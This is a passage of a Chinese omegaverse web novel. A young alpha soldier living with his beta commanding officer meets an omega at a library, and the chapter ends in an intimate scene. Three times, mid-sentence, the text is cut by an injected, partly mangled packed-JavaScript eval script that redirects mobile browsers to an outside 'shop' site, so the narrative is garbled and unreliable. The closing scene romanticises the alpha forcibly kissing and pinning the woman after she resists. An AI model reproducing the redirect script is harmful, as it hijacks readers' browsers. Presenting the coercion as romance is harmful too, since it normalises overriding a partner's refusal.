如果真的是这么想的话,其实各种营养补充剂就能满足高标准的营养生活。 之所以还在孜孜不倦地选择具体的食物,从某种程度上可以说是对理想生活仍有追求的证明。 由此,可以断定,她并不是那种会因为失去恋人就对生活失去信心的弱者。 好吧,其实这一点根本就无需证明。 如果连她都要被打上软弱的烙印,那这个世界上可能就根本不存在坚强的人了。 “拜托,吃饭的时候就不要露出那种表情了。” “什么表情?” “你一直在傻笑。看上去真的很傻。” 自己一直在傻笑吗? 卫嘲风并没有觉察到这件事,可能心中的喜悦已经不受控制的满溢出来,然后霸道地控制了脸部肌肉吧。 “我们这样,看起来很像新婚的伴侣诶。” ——糟了,得意忘形了。 那种满溢的喜悦在控制了脸部的肌肉之后,又进一步控制了发声器官,让他说出了如此冒犯的话语。 灰蓝色的眼睛冰冷地凝视着他。 “对不起!是我失言了!”他赶紧挽救道。 没想到对方却说:“不要紧,就当我们是那种关系好了。” 这个回答让alpha完全懵了,他捧起碗,猛地扒拉了几口饭,又把碗放回桌面:“哪……哪种关系?” “你说的,新婚的伴侣。只是没有经过法律的认证而已,其实已经差不多了吧?我们可是差点连孩子都有了。” 如此暧昧的、具有煽动性和暗示意味的语言,却完全让人高兴不起来。 她之所以会这么说,是因为她不在乎。 一分钟前还高昂地跃动着的情绪,瞬间低落了下来。 如果说这是一种安抚冲动的新型手法,那无疑是成功的。 似乎意识到了气氛的急剧变化,beta女性叹了一口气:“抱歉,我说过头了。” 卫嘲风努力地忍受着心如刀绞的感觉,用力摇了摇头。 关于这件事,她怎么说都可以。 不管她怎么说,他都没有置喙的余地。 她有一切一切的权利。 他感到难过的是,承担的是她,受伤的是她,用自己受到的伤来开玩笑,而她竟还为此道歉。 两个人最终沉默地吃完了那一堆仍保持着食材原有形状的食物。 卫嘲风收拾餐具的时候,beta女性去了淋浴间。 两头的水声像共鸣一样地响着。 哗——哗—— 那个夜晚,也是从这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14321589|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的水声开始的。 从那个夜晚,到这个夜晚,中间发生了多少事,风平浪静、早有安排的人生突然之间一去不返。 单纯的世界观遭到了天体撞击,生成了如无端联想般层层扩散的小行星带。 英雄史诗没有拉开序幕,取而代之的是一部苦涩的罗曼史。 咚。 清脆的撞击声打断了三幕戏的想象,卫嘲风觉得有什么东西掠过胸口,从他的身上掉了下去。 一瞬间还以为是心脏终于承受不住,离开了这具身体。 但那碰撞声太过坚硬,不像是一块肌肉撞击水池壁板的声音。 回过神来,看到浸泡在水中的浅碧色的玉佩。 挂绳不知道什么时候被磨断,吊在上面的坠饰于是失去了依靠,落了下来。 他将玉佩从水里捞起来,用干的餐巾擦了擦,将它放到了自己的床头柜上。 心脏突然猛地撞击了一下胸腔。 * “你……在这里干什么?” 浴室的门被打开之后,毫不意外地被质问了。 有哪个正常人会在别人淋浴的时候特意守在门外呢? 只有变态才会这么做吧? Beta女性穿着新的成套睡衣站在浴室门口,一边用毛巾擦拭着发尾,一边狐疑地看着门外的alpha。 从发尾溅开的水滴落在她的脖子上,慢慢往下滑,滑过锁骨附近,再往下便销声匿迹了。 她今天还是没有戴玉佩。 Alpha注意到了这一点,突然产生了退缩的念头。 “让一让,我要出去。” 但还是不想轻易放弃。 就当抱着必败的决心好了。 “那个……我……我……想……”他努力表达自己的诉求。 “想什么?” Beta女性似乎从卫嘲风那异常的表现中意识到了什么,轻而易举地再次说出那个对alpha来说难以启齿的单词。 “上床?” Alpha竭尽全力将那个音节挤了出来:“……嗯。” 很显然,他正处于发热的状态。 就算是以目前的年龄、现在的激素水平来说,这种频率也太异常了。 很难说是没有受到心态和情绪的影响。 其实他存了侥幸的心理。 因为他已经尝试过最坏的结果,把如今的行为当成是破罐破摔也未尝不可。 被拒绝了的话,就乖乖去喝抑制剂。 但万一邀约成功了呢? 他没意识到这种低级的赌局有多天真,又有多狡猾。 多不体贴。多自私。多么可恶透顶。 这就是alpha这一性别的卑劣本质。 Beta女性有些同情地看着alpha,将他上下打量了一番,问:“忍得住吗?我比较希望你能先洗个澡。” “嗯……先,洗澡。”alpha像是憋尿憋到了极限似的说道。 浴室的洗脸台下面的抽屉里备着避孕用具。 待会儿还是把它放到卧室去吧。 Alpha打开莲蓬头,用冷水把自己淋了个透。 33. 无法掌控 * 同居的这段时光真的很像新婚生活。 况且现在是长假期间,两个人都不需要出勤,单独相处的时间在这个套房里似乎被无限延长了。 两个人保持着军队的习惯,每天都起得很早,作息同步到会一起挤在洗脸台前刷牙。 卫嘲风做早饭的时候,beta女性则坐在餐桌边处理公务——当长官就是这点不好,即使是放假的时候也有很多文书工作需要处理。 吃完早饭,beta女性继续处理工作事宜,卫嘲风就拿出从宿舍带回来的教材研究。 到大约十点的时候,两个人会进行日常锻炼,一直到午饭时间。 下午,有时候是继续锻炼,有时候会在客厅看电视节目,有时候是继续处理公务和深入学习。 卫嘲风偶尔会碰上棘手的问题,然后在长官三言两语的点拨下融会贯通。 他试图趁这个机会解开最初的疑问。 “你是怎么在那么短的时间里就完成了所有机体的改装设计的?必须要完全掌握原型机的所有设计原理才能做到那种地步,还是说有什么捷径和诀窍?” “我对第五世代之前的BOS早就了如指掌了,所以只要单纯考虑如何把性能提升到基本和ER持平就行,更何况有些难点我在上学的时候就预设过。” 这样一来,那种惊人的效率便确实变得合理了。 “你对机甲工程很感兴趣吗?” “还行吧。因为辛冽很喜欢,我们把第一到第四代的BOS彻底摸了个透。” ——早知道就不问了。 如果辛冽和长官同龄,那么他在去世的时候也就比现在的自己大了一点点。 但无论从哪个角度来看,自己都输得很彻底。 唯一的优势,可能就是他还活着吧。 ——然而,谁又能说死亡不是辛冽的优势呢? 他没能让beta女性放下辛冽,也没能让她爱上自己。 她的态度不冷不热,大多数时候像一座冰山,但偶尔又会开玩笑,有时候让人觉得无懈可击,有时候又会说一点让人怀有希望的话。 在卫嘲风想要的时候,她通常不会拒绝。 紊乱好像也因此渐渐稳定下来了。 而让人稍有些欣慰的,则是没有再被叫错过名字。 * 假期还剩最后一个礼拜的时候,beta女性突然提出要去一趟中心图书馆,卫嘲风立刻巴结地说要一起去。 一个月以来,除了必要的购物之外,两个人几乎没有出过门。 就算难得有机会上街,也会在目标明确地购入物品后迅速回家。 已经不能说是新婚同居了,说老夫老妻当然也很勉强,更像是公司举办活动前拿着清单采购活动用品的职员。 没有半点浪漫的氛围。 但是去图书馆就不一样了,多像是大学情侣的约会。 在知识的殿堂里大秀恩爱固然缺乏素质,然而情到浓时谁还在意周围的眼光? 幻想着和恋慕的对象依偎在棕色的皮革沙发上,一人扶着书的一册,将嘴唇凑到对方的耳边,窃语着分享读书的心得…… “你似乎在想一些奇怪的东西。” 乘坐在前往图书馆的空轨上时,beta女性一针见血地指出了部下的图谋不轨。 她像是要故意捉弄这个可怜的alpha似的,将上身歪斜了大约三四十度,耸起一侧的肩膀,让肩头刚好靠在卫嘲风肩头下方不足五公分的地方。 “你是在想象这样的读书场景吗?” ——完全被看透了! 内心的仓皇失措已经无需多加掩饰,万幸工作日的上午没有太多人会乘坐这趟空轨,车厢很空,即意味着没有人多少人会看到他的笑话。 Beta女性没有继续她的恶作剧,而是就这么安分起来,静静地靠在alpha身上。 过了一会儿,卫嘲风忽然感到肩膀一沉,beta女性已经把脑袋也靠了过来。 他以为她睡着了,但昨天晚上两个人睡得都很早,应该不会出现睡眠不足的情况,低头看了一眼,细密的睫毛还在轻轻扇动,她还睁着眼睛。 从对面的玻璃窗上能看到一对年轻男女依偎着的轮廓,无论让谁来猜,都会认为这是情侣相处的甜蜜图景。 只有当事人知道“并非如此”这个酸涩的事实。 也许在很多年前,名为辛冽的alpha男性,和名为朱厌的beta女性,就曾经搭乘这趟空轨,在这个时间前往图书馆,在旅途中,两个人就是这样自然而然地靠在了一起,不需要任何耳语或眼神,就是如此默契,就连呼吸和心跳的频率也在沉默中变得一致。 也许她只是想从对这个动作的重复中回忆当年的余韵。 只是无论如何,卫嘲风都无法调整自己的心律,只能任由它咚咚咚地快速地搏动着。 两颗步调完全不同的心脏。 出了空轨站,不到一百米的地方就是中心图书馆的入口。 在资料电子化的时代,这里是难得的依然陈列着大量纸质资料的场所,进行过电子储存的大型资料都会在这里保有最后的纸质底本,有些在网上无法找到电子版本的书籍,大抵也能在这里申请到阅览权限。 除了对知识的渴求之外,因为喜欢图书馆静谧的氛围,或是单纯想要蹭这里全年无休运行着的空调的也大有人在。 “我要找的资料在B1,你自己找个地方随便看点什么吧。”beta女性的目的非常明确。 “嗯,那我就在一层转转。”卫嘲风说。 在这种时候还是不要强行跟上去比较好,会让人觉得麻烦的。 他目送beta女性毫不犹豫地走向旋转楼梯,看着她的身影完全消失在地下,这才走向附近的一排书架,想从上面找到一些能够打发时间的书目。 尽是一些在市面上基本已经没有多少流通量的纸质杂志,看日期竟还是最新的。 没想到这个时代还有存活着的纸媒出版社,这让卫嘲风感到一阵惊奇,随手从书架上取了一本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335591|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,打算一探究竟。 “你也喜欢这种复古的手工吗?” 一个轻柔的声音从身后响起,伴随着一股幽雅的香味。 才疏学浅的alpha无法用语言描述那种声音、那种味道。 不同于和beta女性在一起时总会感受到的压力和苦涩,是让人身心放松的气息。 卫嘲风将杂志捧在手中,不出声地转过身。 一位大学生模样的omega女性,留着柔软如乌云般的黑色长发,穿着嫩绿色调的连衣裙,皮肤白皙,嘴唇饱满殷红,眼睛像猫儿一样天真无邪,架着一副黑框眼镜,从透镜后面没有形变的面容局部来看,这应该只是一件装饰品。 她肩上斜挎着一只用毛线花片拼成的小包,每个花片都是有着不同细节的向日葵纹样,和她的裙子十分相配。 “最近很流行呢,我身边有很多朋友都在做这个,我也是,试了一次之后就停不下来了,结果做了一大堆东西。”女性的声音非常纤细柔和,大概距离在三米开外就很难听清了,所以在这种安静的环境中也不会遭到抵制。 卫嘲风一开始没有理解她说的话,直到低头看了一眼不幸被自己选中的那本杂志。 《钩针与棒针的复合编织技巧》 “不,我拿错了。” 转身就要把书放回去。 “你身上这件背心,就是手工编织的吧?手艺很不错。” 女性没有理会alpha的说辞,走近了一步。不过好歹还保持着安全的社交距离。 清晰的,温和的,爽朗的,正是如同葵花一般的让人心悦的气息。 在此必须透露一个事实,由于刚一分化就进入了近乎封闭式管理的军校就读,卫嘲风从未近距离接触过相同年龄层的omega,在其生活履历中,唯一有过亲密往来的omega仅有其母亲一人。 这是很多在年少时便决定要成为一名军人的alpha的通病,即他们完全不知道与同龄omega的相处方式。 卫嘲风尴尬地将杂志放回它原本的位置,压低声音答道:“是家母做的。” “怪不得!”女性笑了起来,“是一件能让人感到满满爱意的作品呢!” 和时不时会听到的冷冷的、讽刺般的笑声不同,这是明媚的、可爱的笑声,让人想要怜惜和爱护的笑声。 这就是omega啊。 实在是太恐怖了。 光是靠声音和气息,就能让alpha丧失心神、魂不守舍的恐怖存在。 恐怖,但是可爱。 在听到蓝远山描述自己曾在路上因为陌生omega的信息素差点暴走的经历时,卫嘲风还半信半疑。 但现在,他知道同样的事情也会发生在自己身上。 对于第二性别是alpha和omega的人来说,精神和肉身,没有一个是能够被完全掌控的。 他们是没有进化完全的野兽。 对自己,完全没有支配能力。 对自我,完全没有支配能力。 34. 大火 真是搞不清楚,为什么beta会被视为最为平庸的存在,这绝对是alpha们为了维持自己的优越性而制定出来的不合理的规则。 因为beta们克服了最让alpha感到困扰的缺陷,他们不会被本能冲昏头脑、丧失理性、失去控制。 从这个角度来说,只有他们可以被称为是完整的人类。 而alpha和omega则是即使文明发展到前所未有的高度,也依然无法摆脱本能的兽类或是虫类一般的存在。 眼前的omega女性,白皙的脸上正泛着红晕,看上去更加惹人怜爱了。 Alpha明确地知道,这是她从自己身上感受到吸引力的证明。 不需要任何教导,DNA自发地告诉了他这个情报。 这个年纪的alpha在不消除多余冲动的情况下容易出现紊乱的症状。 那这个年纪的omega呢? “你有带抑制剂吗?”他唐突地问道。 女性的脸变得更加通红,呼吸也渐渐变得急促起来。她慌张地摇了摇头。 卫嘲风一把抓起她的手腕,态度强硬地向中心服务台走去。 “应该可以问工作人员要到,虽然比不上药店买的,但肯定比没有好。” 女性也意识到了事情的不对劲之处,用一只手捂着起伏不定的胸口,飞快地点了点头。 卫嘲风言简意赅地向服务台的工作人员说明了情况,表情拘谨的工作人员立刻起身,到身后的储物柜中寻找起来。 让人沉醉的信息素正在慢慢地扩散,其主人显然知道在公共场合释放信息素的危害,正竭尽全力地克制着,那种拼命的、努力的样子也可爱到让人头晕目眩。 Alpha别过脑袋,并在不知不觉间已经松开了手。 他随机地环顾着大厅的各个角落,在自助借书的机器前面看到了熟悉的身影。 Beta女性正低着头,小心翼翼地将书的封面打开,好让机器能够扫描贴在上面的条码。 慵懒而认真的眼神,流畅的下颌线,优美的脖颈,饱满而有力的肩臂,不经意地移动着的右手手指。 指尖在书页上轻轻划过,却像擦火柴一样,一下子点燃了一团火焰。 “先生,我看你也……” 服务台的工作人员拿着两盒紧急抑制剂走了过来,将其中一盒交给omega女性,就在他准备将以防万一用的那一盒递给alpha的时候,不解风情的alpha离开了服务台,快步向借阅机器走去。 卫嘲风不知道自己当时脸上究竟是怎样的表情,他也没有多余的力气去思考这件事,甚至还没弄清楚这样火急火燎赶到beta女性身边的理由。 “长官……”他小声地呼唤着。 Beta女性转过头看了他一眼,没有多说一句话,直接从上衣口袋里摸出一盒抑制剂往他脸上丢去。 看他像一条寻回犬般接住药盒之后,才说:“是时候养成自己带抑制剂的习惯了吧?” Alpha拆开包装,一仰脑袋,将那管药水喝了下去。 “我……我其实有带。” 但是不知道怎么的,下意识地就走了过来。 也许是想撒娇吧。 也许。 Beta女性将完成借阅手续的书放进提前准备好的纸袋里:“我好了,你有想借的书吗?” “没有。” “那就回家吧。” “嗯。” 经过服务台的时候,向日葵女孩已经镇定下来了,只是脸依然红扑扑的,她面带抱歉的表情向alpha道了谢。 卫嘲风对她笑了笑。 “很可爱的omega,没有认识一下吗?”走出三五米之后,beta女性用旁人听不到的声音问道。 不知道为什么,卫嘲风的心情很好,说不定是因为刚才的撒娇得逞了,现在竟有些得寸进尺。 “长官,你又说这样的话。那个女生是很可爱没错,但我目前还不打算改变心意。” “真是奇怪。”beta女性沉默了片刻后,突然说道。 “哪里奇怪了?” “我偶尔会怀疑自己可能是个隐性的omega。虽然没有外显的特征,但是DNA其实是omega之类的那种情况。” “啊?” “不然为什么接二连三地会有alpha喜欢上我?偶尔出现一个傻子也就算了,但是有三个的话,已经不能算偶然了吧?说不定不止三个呢。” 卫嘲风没想到会进入到这样的话题之中,一时有点混乱,“你说三个……辛冽是一个,我是一个,还有一个,是、是元帅吗?” 虽然beta女性明确表示过她和元帅并不是“那种关系”,但说到底,“那种关系”本来就是一种含糊的表达,到底是哪种关系,根据情况不同,其实可以有很多种狡猾的解释。 难道,像元帅那样的alpha,其实也处于单相思的苦闷境地吗——在已经有家室的前提下。 “你在想什么啊。”beta女性用一如既往的讽刺的口吻说道,“是蓝远山。” “啊……”卫嘲风用挠头掩盖尴尬,“我不知道你知道。” “太明显了。到现在还不知道的话,反而会有点失礼吧?不过即使知道也不给出回应,似乎也是一种恶劣的行径呢。我也不是很清楚就是了。”beta女性说。 她的语气变得柔和了一点。 “没想到他会跟着我调到LOGIS。像他那样的alpha,干后勤也太可惜了。不过多亏有他,我在LOGIS的工作展开才能轻松很多。毕竟,连那样优秀的alpha都对我毕恭毕敬,那些压根就比不上他半分的,就不敢随便在我面前甩脸色了。” 这样肆无忌惮地利用别人的喜欢,小心要遭天谴哦。 “利用别人的纯情,我大概会遭报应的吧。” “胡、胡说!” 虽然心里有那么想过,但听到本人承认的时候,还是第一时间否定了。 报应什么的…… 如果日后真的有什么报应或是天谴之类的东西,就尽情地降到我身上来吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345456|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。Alpha在心里这样想道。 尽管事情看起来已经完全过去了,但他还是无法彻底忘怀那个永远失去了的孩子。 Beta女性不忌烟酒。虽然从邹允口中早就得知了她酒量很好,但亲眼看到她抽烟还是在同居开始之后。 频率其实很低,只会在熬夜处理工作的时候来上一根。 大概是为了提神吧。那些走星际长途的波恩驾驶员在长时间驾驶时也会通过烟草醒神。 她会一个去阳台上,望着漫天的星辰,默默地抽完一根烟,然后回到客厅继续埋头工作。 可是在那四个月里,她放弃了抽烟的习惯,去酒吧放松的时候也只点软饮料喝。 这到底能算不算某种蛛丝马迹——她实际上是疼爱着那个孩子的蛛丝马迹。 如果因为失去一个胎儿而就此一蹶不振,大概会让人看不起吧,会被人指着后脑勺说beta果然不适合呆在STELAR吧? 所以要装成不以为意的样子。要做到无懈可击,才能屹立不倒。 想再多,也只是一种可能性罢了…… 但如果这也算是一种报应的话,深空之上的神明,为什么不能对她仁慈一点? 在回程的空轨上,beta女性如来时那样靠在alpha的肩上。 这次她真的睡着了。 真不可思议。 还以为她是绝对不会懈怠的那种人。 难道说,是因为已经对他产生了某种程度信任吗? 这样想着,alpha的心便变得柔软,又火热起来。 空轨到站之后,也没有急着将同伴唤醒,而是在周围乘客诧异的目光中将她背了起来——就算是这样,她也没有醒过来——一路背到了家中。 帮她脱鞋时,她终于醒了,神情迷茫地看着眼前的男性。 那种眼神,她以前也有过,一次是在那个夜晚,一次是在手术之后。 “卫嘲风……” 不同的是,这次没有认错人。 这一声确凿的呼唤,对alpha来说简直就像尘埃落定一样。 尘埃落地的瞬间,点燃了一场大火。 卫嘲风没有忍住,紧紧地拥抱了她。 她将下巴靠在他的肩上,一只手困惑地揽住了他的背,像哄小孩似的拍了几下:“怎么了,卫嘲风?” 韵母的发音被一个热烈的吻打断了。 Beta女性彻底清醒过来,推搡着alpha的身体,那具高大硬朗的身体被撞到玄关后方的鞋柜上,发出巨大的声响。 背部的肌肉完美地承接了冲击力,没有任何部位受到伤害。 Alpha很快就重整姿态,发起反击,用力地抓住beta女性的肩膀,同时防范她用双腿进行攻击。 两种性别在力量上的天然差距在这种时候展现无遗。 “卫嘲风?” “……嗯,我是卫嘲风。” Alpha将长官抵在墙上,再次吻了上去,这次没有被拒绝。 战场很快就转移到了别的地方。